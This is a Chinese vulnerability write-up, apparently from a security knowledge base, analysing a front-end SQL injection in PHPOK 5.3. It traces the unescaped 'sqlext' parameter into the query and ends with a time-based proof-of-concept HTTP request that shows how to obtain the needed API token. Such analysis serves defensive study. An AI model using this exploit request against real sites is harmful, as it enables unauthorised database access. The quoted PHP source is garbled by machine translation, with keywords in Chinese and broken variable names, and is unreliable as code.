menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right PHPOK 5.3 前台注入 chevron_right PHPOK 5.3 前台注入.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    PHPOK 5.3 前台注入.md
    11.66 KB / 2021-07-15 20:01:30
        PHPOK 5.3 前台注入
    ==================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    PHPOK 5.3
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    灵活获取参数:\$this-\>get()方法
    
    framework / init.php#get
    
        最后的公共函数get($ id,$ type =“ safe”,$ ext =“”)
        { 
            // PGC进入获取
            $ val = isset($ _ POST [$ id])?$ _POST [$ id]:(isset($ _ GET [$ id])?$ _GET [$ id]:(isset($ _ COOKIE [$ id])?$ _COOKIE [$ id]:'')); 
            if($ val ==''){ 
                if($ type =='int'|| $ type =='intval'|| $ type =='float'|| $ type =='floatval'){ 
                    返回0 ; 
                } else { 
                    return”; 
                } 
            } 
            //判断内容是否有转义,所有未转义的数据都直接转义
            $ addslashes = false; 
            if(function_exists(“ get_magic_quotes_gpc”)&& get_magic_quotes_gpc()){ 
                $ addslashes = true; 
            } 
            if(!
                $ addslashes){ $ val = $ this-> _ addslashes($ val); 
            }
            返回$ this-> format($ val,$ type,$ ext); 
        }
    
    跟进format函数:framework / init.php#format
    
        最终的公共函数格式($ msg,$ type =“ safe”,$ ext =“”)
        { 
            if($ msg ==“”){ 
                return ;; 
            } 
            if(is_array($ msg)){ 
                foreach($ msg as $ key => $ value){ 
                    if(!is_numeric($ key)){ 
                        $ key2 = $ this-> format($ key); 
                        if($ key2 ==``|| in_array($ key2,array('#','&','%'))){ 
                            unset($ msg [$ key]); 
                            继续; 
                        } 
                    } 
                    $ msg [$ key] = $ this-> format($ value,$ type,$ ext); 
                } 
                if($ msg && count($ msg)> 0){ 
                    返回$ msg; 
                } 
                返回false; 
            }
            if($ type =='html_js'||($ type =='html'&& $ ext)){ 
                $ msg = stripslashes($ msg); 
                if($ this-> app_id!='admin'){ 
                    $ msg = $ this-> lib('string')-> xss_clean($ msg); 
                } 
                $ msg = $ this-> lib('string')-> clear_url($ msg,$ this-> url); 
                返回addslashes($ msg); 
            } 
            //转义去除
            $ msg = stripslashes($ msg); 
            //格式化处理内容
            开关($ type){ 
                case'safe_text':
                    $ msg = strip_tags($ msg); 
                    $ msg = str_replace(array(“ \\”,“'”,'“',” <“,”>“),'',$ msg); 
                break; 
                情况'system':
                    $ msg =!preg_match(“ / ^ [a-zA-Z] [a-z0-9A-Z \ _ \-] + $ / u”,$ msg)吗?false:$ msg;
                打破; 
                情况'id':
                    $ msg =!preg_match(“ / ^ [a-zA-Z] [a-z0-9A-Z \ _ \-] + $ / u”,$ msg)吗?false:$ msg; 
                打破; 
                情况'复选框':
                    $ msg = strtolower($ msg)=='on'吗?1:$ this-> format($ msg,'safe'); 
                打破; 
                情况'int':
                    $ msg = intval($ msg); 
                打破; 
                情况'intval':
                    $ msg = intval($ msg); 
                打破; 
                情况'float':
                    $ msg = floatval($ msg); 
                打破; 
                情况'floatval':
                    $ msg = floatval($ msg); 
                打破; 
                案例“时间”:
    
                打破; 
                情况'html':
                    $ msg = $ this-> lib('string')-> safe_html($ msg,$ this-> url); 
                打破; 
                情况'func':
                    $ msg = function_exists($ ext)?$ ext($ msg):假; 
                打破; 
                情况'text':
                    $ msg = strip_tags($ msg); 
                打破; 
                默认值:
                    $ msg = str_replace(array(“ \\”,“'”,'“',” <“,”>“),array(”&#92;“,”&#39;“,”&quot; “,”&lt;“,”&gt;“),$ msg); 
                break; 
            } 
            if($ msg){ 
                $ msg =加上斜线($ msg); 
            } 
            返回$ msg; 
        }
    
    格式默认为安全模式,也就是仅将\\ \" \' \< \>实体编码。
    
    注入点:
    
    framework / api / index\_control.php#phpok\_f
    
        // ... 
        $ token = $ this-> get(“ token”); 
        if(!$ token){ 
            $ this-> json(P_Lang(“接口数据异常”));; 
        } 
        $ this-> lib('token')-> keyid($ this-> site ['api_code']); 
        $ info = $ this-> lib('token')-> decode($ token); 
        if(!$ info){ 
            $ this-> json(P_Lang('信息为空')); 
        } 
        $ id = $ info ['id'];
    
        // 176行
        $ ext = $ this-> get('ext'); 
        if($ ext && is_array($ ext)){ 
            foreach($ ext as $ key => $ value){ 
                if(!$ value){ 
                    继续;
                } 
                // sqlext变量转义取消
                if($ key =='sqlext'&& $ value){ 
                    $ value = str_replace(array('&#39;','“”,'’'','&#34 ;'),array(“'”,'“',”'“,'”'),$ value); 
                } 
                $ param [$ key] = $ value; 
            } 
        } 
        // $ id从加密的令牌中来
        /// sqlsql的值的函数只有_userlist,_arc_condition_single,_arc_condition 
        $ list = $ this-> call-> phpok($ id,$ param);
    
    继续跟进phpok函数:framework / phpok\_call.php#phpok
    
        公共功能phpok($ id,$ rs =“”)
        { 
            // 76行
            $ siteinfo = $ this-> model('site')-> get_one($ rs ['site']); 
            // 91行
            if(substr($ id,0,1)!='_'){ 
            // $ id从令牌中来,为phpok表中identifier标识符,$ rs ['site']可控为任意值
            $ call_rs = $ this-> load_phpoklist($ id,$ rs ['site']); 
            } 
            // 116行
            $ func ='_'。$ call_rs ['type_id']; 
            // 131行动态调用函数_xxxx 
            return $ 
        this- > $ func($ call_rs,$ cache_id); }
    
    跟进load\_phpoklist:framework / phpok\_call.php#load\_phpoklist
    
        私有函数load_phpoklist($ id,$ siteid = 0)
        { 
            $ this-> model('call')-> site_id($ siteid); 
            if($ this-> _ cache && $ this-> _ cache [$ id]){ 
                返回$ this-> _ cache [$ id]; 
            } 
            $ this-> _ cache = $ this-> model('call')-> all($ siteid,'identifier'); 
            if($ this-> _ cache && $ this-> _ cache [$ id]){ 
                返回$ this-> _ cache [$ id]; 
            } 
            返回false; 
        }
    
    这一段代码\$this-\>model(\'call\')-\>all(\$siteid,\'identifier\');实现的是查询phpok表,其中identifier
    =
    xxx的信息,然后在phpok()函数的131行进行动态调用其插入为type\_id的值函数。
    
    ![](./resource/PHPOK5.3前台注入/media/rId25.png)
    
    例如我们要调用framework/phpok\_call.php下的\_arclist函数,我们可以选择:
    
        http://0-sec.org/api.php?c=index&f=phpok&ext[site]=1&token=加密('id=m_picplayer')
    
    我们接着在framework/phpok\_call.php电子邮件寻找柯林斯触发SQL的函数,从phpok表里我们可以看到其默认的TYPE\_ID只有四个不同的值arclist,
    ,arc,catelist,project我们而需要找到拼接sqlext变量的函数:
    
    框架/ phpok\_call.php#\_arclist
    
        私有函数_arclist($ rs,$ cache_id ='')
        { 
            // 254行
            $ condition = $ this-> _ arc_condition($ rs,$ flist,$ project); 
            //带入注入数据
            $ array ['total'] = $ this-> model('list')-> arc_count($ project ['module'],$ condition); 
        }
    
    跟进:framework / phpok\_call.php#\_arc\_condition
    
    直接拼接了sqlext
    
        private function _arc_condition($rs,$fields='',$project='')
        {
            // 623行
                if($rs['sqlext']){
                $condition .= " AND ".$rs['sqlext'];
            }
    
            // 671行
            return $condition;
        }
    
    接着将结果带入了:
    
        $ this-> model('list')-> arc_count($ project ['module'],$ condition);
    
    调用:framework / model / list.php#arc\_count 5.jpg
    
    ![](./resource/PHPOK5.3前台注入/media/rId26.png)
    
    拼接sql,调用\$this-\>db-\>count(\$sql)
    
    framework / engine / db / mysqli.php#count
    
        公共功能计数($ sql =“”,$ is_count = true)
        { 
            if($ sql && is_string($ sql)&& $ is_count){ 
                $ this-> set('type','num'); 
                $ rs = $ this-> get_one($ sql); 
                $ this-> set('type','assoc'); 
                返回$ rs [0]; 
            } else { 
                if($ sql && is_string($ sql)){ 
                    $ this-> query($ sql); 
                } 
                if($ this-> query){ 
                    返回mysqli_num_rows($ this-> query); 
                } 
            } 
            返回false; 
        }
    
    根进get\_one函数:framework / engine / db / mysqli.php#get\_one
    
        公共功能get_one($ sql ='')
        { 
            if($ sql){ 
                $ false = $ this-> cache_false($ sql); 
                if($ false){ 
                    返回false; 
                } 
                if($ this-> cache_get($ sql)){ 
                    返回$ this-> cache_get($ sql); 
                } 
                $ this-> query($ sql);
    
    根进\$this-\>query(\$sql);:framework / engine / db / mysqli.php#query
    
    ![](./resource/PHPOK5.3前台注入/media/rId27.png)
    
    最终将sql带入执行。
    
    当然,到这里,其实还有一个问题没有解决,我们需要如果拿到token=加密(\'id=m\_picplayer\')。
    
    框架/ API / index\_control.php#token\_f
    
        { 
            $ this-> config('is_ajax',true); 
            if(!$ this-> site ['api_code']){ 
                $ this-> error(P_Lang(“系统未配置接口功能”)); 
            } 
            $ id = $ this-> get('id','system'); 
            if(!$ id){ 
                $ this-> error(P_Lang('未指定数据调用标识')); 
            } 
            $ this-> model('call')-> site_id($ this-> site ['id']); 
            //限制范围,其中identifier = $ id 
            $ rs = $ this-> model('call')-> get_one($ id,'identifier'); 
            if(!$ rs ||!$ rs ['status']){ 
                $ this-> error(P_Lang('标识不存在或未启用')); 
            }
    
          // 141行
            $ array = array('id'=> $ id,'param'=> $ param); 
            $ token = $ this-> lib('token')-> encode($ array); 
            $ this-> success($ token); 
        }
    
    其中第一个如果条件需要在后台生成api字符串:
    
    ![](./resource/PHPOK5.3前台注入/media/rId28.png)
    
    > 没开启的话,其实构造一个csrf的poc也是可以的
    
    第二个条件预期id=m\_picplayer即可
    
    ### 漏洞复现
    
        http://0-sec.org/api.php?c=index&f=token&id=m_picplayer
    
    ![](./resource/PHPOK5.3前台注入/media/rId30.png)
    
    POC:
    
        GET /api.php?c=index&f=phpok&token=6318fdtC3WRpOzYNzKVNw78PFa9OhFea5pp3/uZ4U3T67a/F47WhJ0lr856V7yomOcG0u8/UJpIwKKOwJAKspTSWN+5ljVNWR5978g7HHoG14M&ext[sqlext]=sleep(5)%23&ext[site]=1 HTTP/1.1
        Host: 0-sec.org
        Pragma: no-cache
        Cache-Control: no-cache
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.86 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
        Accept-Encoding: gzip, deflate
        Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
        Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4
        Connection: close
    
    四、参考链接
    ------------
    
    > <https://xz.aliyun.com/t/6830>
    
    
    links
    file_download